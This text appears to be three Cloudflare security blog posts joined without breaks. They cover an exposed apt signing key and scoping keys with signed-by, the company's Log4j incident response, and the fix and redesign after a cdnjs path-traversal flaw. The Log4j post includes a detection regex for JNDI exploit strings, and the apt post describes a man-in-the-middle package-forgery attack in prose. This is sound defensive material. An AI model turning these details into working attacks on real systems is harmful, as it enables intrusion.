Recently, we received a bug bounty report regarding the GPG signing key used for pkg.cloudflareclient.com, the Linux package repository for our Cloudflare WARP products. The report stated that this private key had been exposed. We’ve since rotated this key and we are taking steps to ensure a similar problem can’t happen again. Before you read on, if you are a Linux user of Cloudflare WARP, please follow these instructions to rotate the Cloudflare GPG Public Key trusted by your package manager. This only affects WARP users who have installed WARP on Linux. It does not affect Cloudflare customers of any of our other products or WARP users on mobile devices.

But we also realized that the impact of an improperly secured private key can have consequences that extend beyond the scope of one third-party repository. The remainder of this blog shows how to improve the security of apt with third-party repositories.

At first, we thought that the exposed signing key could only be used by an attacker to forge packages distributed through our package repository. However, when reviewing impact for Debian and Ubuntu platforms we found that our instructions were outdated and insecure. In fact, we found the majority of Debian package repositories on the Internet were providing the same poor guidance: download the GPG key from a website and then either pipe it directly into apt-key or copy it into /etc/apt/trusted.gpg.d/. This method adds the key as a trusted root for software installation from any source. To see why this is a problem, we have to understand how apt downloads and verifies software packages.

In the early days of Linux, package maintainers wanted to make sure users could trust that the software being installed on their machines came from a trusted source.

Apt has a list of places to pull packages from (sources) and a method to validate those sources (trusted public keys). Historically, the keys were stored in a single keyring file: /etc/apt/trusted.gpg. Later, as third party repositories became more common, apt could also look inside /etc/apt/trusted.gpg.d/ for individual key files.

What happens when you run apt update? First, apt fetches a signed file called InRelease from each source. Some servers supply separate Release and signature files instead, but they serve the same purpose. InRelease is a file containing metadata that can be used to cryptographically validate every package in the repository. Critically, it is also signed by the repository owner’s private key. As part of the update process, apt verifies that the InRelease file has a valid signature, and that the signature was generated by a trusted root. If everything checks out, a local package cache is updated with the repository’s contents. This cache is directly used when installing packages. The chain of signed InRelease files and cryptographic hashes ensures that each downloaded package hasn’t been corrupted or tampered with along the way.

For most Ubuntu/Debian users today, this is what adding a third-party repository looks like in practice:

1. Add a file in /etc/apt/sources.list.d/ telling apt where to look for packages.

2. Add the gpg public key to /etc/apt/trusted.gpg.d/, probably via apt-key.

If apt-key is used in the second step, the command typically pops up a deprecation warning, telling you not to use apt-key. There’s a good reason: adding a key like this trusts it for any repository, not just the source from step one. This means if the private key associated with this new source is compromised, attackers can use it to bypass apt’s signature verification and install their own packages.

What would this type of attack look like? Assume you’ve got a stock Debian setup with a default sources list¹:

deb http://deb.debian.org/debian/ bullseye main non-free contrib
deb http://security.debian.org/debian-security bullseye-security main contrib non-free

At some point you installed a trusted key that was later exposed, and the attacker has the private key. This key was added alongside a source pointing at https, assuming that even if the key is broken an attacker would have to break TLS encryption as well to install software via that route.

You’re enjoying a hot drink at your local cafe, where someone nefarious has managed to hack the router without your knowledge. They’re able to intercept http traffic and modify it without your knowledge. An auto-update script on your laptop runs apt update. The attacker pretends to be deb.debian.org, and because at least one source is configured to use http, the attacker doesn’t need to break https. They return a modified InRelease file signed with the compromised key, indicating that a newer update of the bash package is available. apt pulls the new package (again from the attacker) and installs it, as root. Now you’ve got a big problem².

It seems the way most folks are told to set up third-party Debian repositories is wrong. What if you could tell apt to only trust that GPG key for a specific source? That, combined with the use of https, would significantly reduce the impact of a key compromise. As it turns out, there’s a way to do that! You’ll need to do two things:

1. Make sure the key isn’t in /etc/apt/trusted.gpg or /etc/apt/trusted.gpg.d/ anymore. If the key is its own file, the easiest way to do this is to move it to /usr/share/keyrings/. Make sure the file is owned by root, and only root can write to it. This step is important, because it prevents apt from using this key to check all repositories in the sources list.

2. Modify the sources file in /etc/apt/sources.list.d/ telling apt that this particular repository can be “signed by” a specific key. When you’re done, the line should look like this:

deb [signed-by=/usr/share/keyrings/cloudflare-client.gpg] https://pkg.cloudflareclient.com/ bullseye main

Some source lists contain other metadata indicating that the source is only valid for certain architectures. If that’s the case, just add a space in the middle, like so:

deb [amd64 signed-by=/usr/share/keyrings/cloudflare-client.gpg] https://pkg.cloudflareclient.com/ bullseye main

We’ve updated the instructions on our own repositories for the WARP Client and Cloudflare with this information, and we hope others will follow suit.

If you run apt-key list on your own machine, you’ll probably find several keys that are trusted far more than they should be. Now you know how to fix them!

For those running your own repository, now is a great time to review your installation instructions. If your instructions tell users to curl a public key file and pipe it straight into sudo apt-key, maybe there’s a safer way. While you’re in there, ensuring the package repository supports https is a great way to add an extra layer of security (and if you host your traffic via Cloudflare, it’s easy to set up, and free. You can follow this blog post to learn how to properly configure Cloudflare to cache Debian packages).

¹RPM-based distros like Fedora, CentOS, and RHEL also use a common trusted GPG store to validate packages, but since they generally use https by default to fetch updates they aren’t vulnerable to this particular attack.

²The attack described above requires an active on-path network attacker. If you are using the WARP client or Cloudflare for Teams to tunnel your traffic to Cloudflare, your network traffic cannot be tampered with on local networks.

We cover the details of how this vulnerability works in a separate blog post: Inside the Log4j2 vulnerability (CVE-2021-44228), but in summary, this vulnerability allows an attacker to execute code on a remote server. Because of the widespread use of Java and Log4j, this is likely one of the most serious vulnerabilities on the Internet since both Heartbleed and ShellShock. The vulnerability is listed as CVE-2021-44228. The CVE description states that the vulnerability affects Log4j2 <=2.14.1 and is patched in 2.15. The vulnerability additionally impacts all versions of log4j 1.x; however, it is End of Life and has other security vulnerabilities that will not be fixed. Upgrading to 2.15 is the recommended action to take. You can also read about how we updated our WAF rules to help protect our customers in this post: CVE-2021-44228 - Log4j RCE 0-day mitigation

One of the first things we do whenever we respond to an incident is start drafting a timeline of events we need to review and understand within the context of the situation. Some examples from our timeline here include:

• 2021-12-09 16:57 UTC - Hackerone report received regarding Log4j RCE on developers.cloudflare.com

• 2021-12-10 09:56 UTC - First WAF rule shipped to Cloudflare Specials ruleset

• 2021-12-10 10:00 UTC - Formal engineering INCIDENT is opened and work begins to identify areas we need to patch Log4j

• 2021-12-10 10:33 UTC - Logstash deployed with patch to mitigate vulnerability.

• 2021-12-10 10:44 UTC - Second WAF rule is live as part of Cloudflare managed rules

• 2021-12-10 10:50 UTC - ElasticSearch restart begins with patch to mitigate vulnerability

• 2021-12-10 11:05 UTC - ElasticSearch restart concludes and is no longer vulnerable

• 2021-12-10 11:45 UTC - Bitbucket is patched and no longer vulnerable

• 2021-12-10 21:22 UTC - Hackerone report closed as Informative after it was unable to be reproduced

An important question when dealing with any software vulnerability, and what may actually be the hardest question that every company has to answer in this particular case is: where are all the places that the vulnerable software is actually running?

If the vulnerability is in a proprietary piece of software licensed by one company to the rest of the world, that is easy to answer - you just find that one piece of software. But in this case that was much harder. Log4j is a widely used piece of software but not one that people who are not Java developers are likely to be familiar with. Our first action was to refamiliarize ourselves with all places in our infrastructure where we were running software on the JVM, in order to determine which software components could be vulnerable to this issue.

We were able to create an inventory of all software we have running on the JVM using our centralized code repositories. We used this information to research and determine each individual Java application we had, whether it contained Log4j, and which version of Log4j was compiled into it.

We discovered that our ElasticSearch, LogStash, and Bitbucket contained instances of the vulnerable Log4j package that was between versions 2.0 and 2.14.1. We were able to use the mitigation strategies described in the official Log4j security documentation to patch the issue. For each instance of Log4j we either removed the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Or we set the mitigating system property in the log4j configuration:

log4j2.formatMsgNoLookups

We were able to quickly mitigate this issue in these packages using these strategies while waiting for new versions of the packages to be released.

Even before we were done making the list of internal places where the vulnerable software was running, we started by looking at external reports - from HackerOne, our bug bounty program, and a public post in GitHub suggesting that we might be at risk.

We identified at least two reports that seemed to indicate that Cloudflare was vulnerable and compromised. In one of the reports was the following screenshot:

This example is targeting our developer documentation hosted at https://developer.cloudflare.com. On the right-hand side, the attacker demonstrates that a DNS query was received for the payload he sent to our server. However, the IP address flagged here is 173.194.95.134, a member of a Google owned IPv4 subnet (173.194.94.0/23).

Cloudflare’s developer documentation is hosted as a Cloudflare Worker and only serves static assets. The repository is public. The Worker relies on Google’s analytics library as seen here, therefore, we hypothesize that the attacker was not receiving a request from Cloudflare but through Google's servers.

Our backend servers receive logging from Workers, but exploitation was also not possible in this instance as we leverage robust Kubernetes egress policies that prevent calling out to the Internet. The only communication allowed is to a curated set of internal services.

When we received a similar report in our vulnerability disclosure program while gathering more information, the researcher was unable to reproduce the issue. This further enforced our hypothesis that it was third party servers, and they may have patched the issue.

While we were running versions of the software as described above, thanks to our speed of response and defense in depth approach, we do not believe Cloudflare was compromised. We have invested significant efforts into validating this, and we will continue working on this effort until everything is known about this vulnerability. Here is a bit about that part of our efforts.

As we were working to evaluate and isolate all the contexts in which the vulnerable software might be running and remediate them, we started a separate workstream to analyze whether any of those instances had been exploited.  Our detection and response methodology follows industry standard Incident Response practices and was thoroughly deployed to validate whether any of our assets were indeed compromised. We followed a multi-pronged approach described next.

Our asset inventory and code scanning tooling allowed us to identify all applications and services reliant on Apache Log4j. While these applications were being reviewed and upgraded if needed, we were performing a thorough scan of these services and hosts. Specifically, the exploit for CVE-2021-44228 relies on particular patterns in log messages and parameters, for example \$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+. For each potentially impacted service, we performed a log analysis to expose any attempts at exploitation.

Our network analytics allow us to identify suspicious network behavior that may be indicative of attempted or actual exploitation of our infrastructure. We scrutinised our network data to identify the following:

1. Suspicious Inbound and Outbound ActivityBy analyzing suspicious inbound and outbound connections, we were able to sweep our environment and identify whether any of our systems were displaying signs of active compromise.

2. Targeted Systems & ServicesBy leveraging pattern analytics against our network data, we uncovered systems and services targeted by threat-actors. This allowed us to perform correlative searches against our asset inventory, and drill down to each host to determine if any of those machines were exposed to the vulnerability or actively exploited.

3. Network IndicatorsFrom the aforementioned analysis, we gained insight into the infrastructure of various threat actors and identified network indicators being utilized in attempted exploitation of this vulnerability. Outbound activity to these indicators was blocked in Cloudflare Gateway.

We were able to correlate our log analytics and network analytics workflows to supplement our endpoint analysis. From our findings from both of those analyses, we were able to craft endpoint scanning criteria to identify any additional potentially impacted systems and analyze individual endpoints for signs of active compromise. We utilized the following techniques:

We are in the process of deploying custom Yara detection rules to alert on exploitation of the vulnerability. These rules will be deployed in the Endpoint Detection and Response agent running on all of our infrastructure and our centralized Security Information and Events Management (SIEM) tool.

Cloudflare continuously collects and analyzes endpoint process events from our infrastructure. We used these events to search for post-exploitation techniques like download of second stage exploits, anomalous child processes, etc.

Using all of these approaches, we have found no evidence of compromise.

In the analysis above, we focused on reviewing code and data we generate ourselves. But like most companies, we also rely on software that we have licensed from third parties. When we started our investigation into this matter, we also partnered with the company’s information technology team to pull together a list of each and every primary third-party provider and all sub-processors to inquire about whether they were affected. We’re in the process of receiving and reviewing responses from the providers. Any providers who we deem critical that are impacted by this vulnerability will be disabled and blocked until they are fully remediated.

As we responded to this incident, we found several places where our defense in depth approach worked.

1. Restricting outbound traffic

Restricting the ability to call home is an essential part of the kill-chain to make exploitation of vulnerabilities much harder. As noted above, we leverage Kubernetes network policies to restrict egress to the Internet on our deployments. In this context, it prevents the next-stage of the attack, and the network connection to attacker controlled resources is dropped.

All of our externally facing services are protected by Cloudflare. The origin servers for these services are set up via authenticated origin pulls. This means that none of the servers are exposed directly to the Internet.

2.   Using Cloudflare to secure Cloudflare

All of our internal services are protected by our Zero-trust product, Cloudflare Access. Therefore, once we had patched the limited attack surface we had identified, any exploit attempts to Cloudflare’s systems or customers leveraging Access would have required the attacker to authenticate.

And because we have the Cloudflare WAF product deployed as part of our effort to secure Cloudflare using Cloudflare, we benefited from all the work being done to protect our customers. All new WAF rules written to protect against this vulnerability were updated with a default action of BLOCK. Like every other customer who has the WAF deployed, we are now receiving protection without any action required on our side.

While our response to this challenging situation continues, we hope that this outline of our efforts helps others. We are grateful for all the support we have received from within and outside of Cloudflare.

Thank you to Evan Johnson, Anjum Ahuja, Sourov Zaman, David Haynes, and Jackie Keith who also contributed to this blog.

cdnjs provides JavaScript, CSS, images, and fonts assets for websites to reference with more than 4,000 libraries available. By utilizing cdnjs, websites can load faster with less strain on one’s own origin server as files are served directly from Cloudflare’s edge. Recently, a blog post detailed a vulnerability in the way cdnjs’ backend automatically keeps the libraries up to date.

This vulnerability allowed the researcher to execute arbitrary code, granting the ability to modify assets. This blog post details how Cloudflare responded to this report, including the steps we took to block exploitation, investigate potential abuse, and remediate the vulnerability.

This vulnerability is not related to Cloudflare CDN. The cdnjs project is a platform that leverages Cloudflare’s services, but the vulnerability described below relates to cdnjs’ platform only. To be clear, no existing libraries were modified using this exploit. The researcher published a new package which demonstrated the vulnerability and our investigation concluded that the integrity of all assets hosted on cdnjs remained intact.

As outlined in RyotaK’s blog post, the incident began on 2021-04-06. At around 1100 GMT, RyotaK published a package to npm exploiting the vulnerability. At 1129 GMT, cdnjs processed this package, resulting in a leak of credentials. This triggered GitHub alerting which notified Cloudflare of the exposed secrets.

Cloudflare disabled the auto-update service and revoked all credentials within an hour. In the meantime, our security team received RyotaK’s remote code execution report through HackerOne. A new version of the auto-update tool which prevents exploitation of the vulnerability RyotaK reported was released within 24 hours.

Having taken action immediately to prevent exploitation, we then proceeded to redesign the auto-update pipeline. Work to completely redesign it was completed on 2021-06-03.

Before RyotaK reported the vulnerability via HackerOne, Cloudflare had already taken action. When GitHub notified us that credentials were leaked, one of our engineers took immediate action and revoked them all. Additionally, the GitHub token associated with this service was automatically revoked by GitHub.

The second step was to bring the vulnerable service offline to prevent further abuse while we investigated the incident. This prevented exploitation but also made it impossible for legitimate developers to publish updates to their libraries. We wanted to release a fixed version of the pipeline used for retrieving and hosting new library versions so that developers could continue to benefit from caching. However, we understood that a stopgap was not a long term fix, and we decided to review the entire current solution to identify a better design that would improve the overall security of cdnjs.

Any sort of investigation requires access to logs and all components of our pipeline generate extensive logs that prove valuable for forensics efforts. Logs produced by the auto-update process are collected in a GitHub repository and sent to our logging pipeline. We also collect and retain logs from cdnjs’ Cloudflare account. Our security team began reviewing this information as soon as we received RyotaK’s initial report. Based on access logs, API token usage, and file modification metadata, we are confident that only RyotaK exploited this vulnerability during his research and only on test files. To rule out abuse, we reviewed the list of source IP addresses that accessed the Workers KV token prior to revoking it and only found one, which belongs to the cdnjs auto-update bot.

The cdnjs team also reviewed files that were pushed to the cdnjs/cdnjs GitHub repository around that time and found no evidence of any other abuse across cdnjs.

Around half of the libraries on cdnjs use npm to auto-update. The primary vector in this attack was the ability to craft a .tar.gz archive with a symbolic link and publish it to the npm registry. When our pipeline extracted the content it would follow symlinks and overwrite local files using the pipeline user privileges. There are two fundamental issues at play here: an attacker can perform path traversal on the host processing untrusted files, and the process handling the compressed file is overly privileged.

We addressed the path traversal issue by checking that the destination of each file in the tarball will be contained within the target directory that the update process has designated for that package. If the file’s full canonical path doesn’t begin with the destination directory’s full path, we log this as a warning and skip extracting that file. This works fairly well, but as noted in the comment above this check, if the compressed file uses UTF-8 encoding for filenames, this check may not properly canonicalize the path. If this canonicalization does not occur, the path may contain path traversal, even though it starts with the correct destination path.

To ensure that other vulnerabilities in cdnjs’ publication pipeline cannot be exploited, we configured an AppArmor profile for it. This limits the capabilities of the service, so even if an attacker successfully instructed the process to perform an action, the operating system (kernel / security feature) will not allow any action outside of what it is allowed to do.

For illustration, here’s an example:

/path/to/bin {
  network,
  signal,
  /path/to/child ix,
  /tmp/ r,
  /tmp/cache** rw,
  ...
}

In this example, we only allow the binary (/path/to/bin) to:

• access all networking

• use all signals

• execute /path/to/child (which will inherit the AppArmor profile)

• read from /tmp

• read+write under /tmp/cache.

Any attempt to access anything else will be denied. You can find the complete list of capabilities and more information on AppArmor’s manual page.

In the case of cdnjs’ autoupdate tool, we limit execution of applications to a very specific set, and we limit where files can be written.

Fixing the path traversal and implementing the AppArmor profile prevents similar issues from being exploited. However, having a single layer of defense wasn’t enough. We decided to completely redesign the auto-update process entirely to isolate each step, as well as each library it processes, thus preventing this entire class of attacks.

The main idea behind the redesign of the pipeline was to move away from the monolithic auto-update process. Instead, various operations are done using microservices or daemons which have well-defined scopes. Here’s an overview of the steps:

First, to detect new library versions, two daemons (for both npm and git based updates) are regularly running. Once a new version has been detected, the files will be downloaded as an archive and placed into the incoming storage bucket.

Writing a new version in the incoming bucket triggers a function that adds all the information we need to update the library. The function also generates a signed URL allowing for writing in the outgoing bucket, but only in a specific folder for a given library, reducing the blast radius. Finally, a message is placed into a queue to indicate that the new version of the given library is ready to be published.

A daemon listens for incoming messages and spawns an unprivileged Docker container to handle dangerous operations (archive extraction, minifications, and compression). After the sandbox exits, the daemon will use the signed URL to store the processed files in the outgoing storage bucket.

Finally, multiple daemons are triggered when the finalized package is written to the outgoing bucket. These daemons publish the assets to cdnjs.cloudflare.com and to the main cdnjs repository. The daemons also publish the version specific URL, cryptographic hash, and other information to Workers KV, cdnjs.com, and the API.

In this revised design, exploiting a similar vulnerability would happen in the sandbox (Docker container) context. The attacker would have access to container files, but nothing else. The container is minimal, ephemeral, has no secrets included, and is dedicated to a single library update, so it cannot affect other libraries’ files.

Beyond maintaining a vulnerability disclosure program, we regularly perform internal security reviews and hire third-party firms to audit the software we develop. But it is through our vulnerability disclosure program that we receive some of the most interesting and creative reports. Each report has helped us improve the security of our services. In this case, we worked with RyotaK to not only address the vulnerability, but to also ensure that their blog post was detailed and accurate. We invite those that find a security issue in any of Cloudflare’s services to report it to us through HackerOne.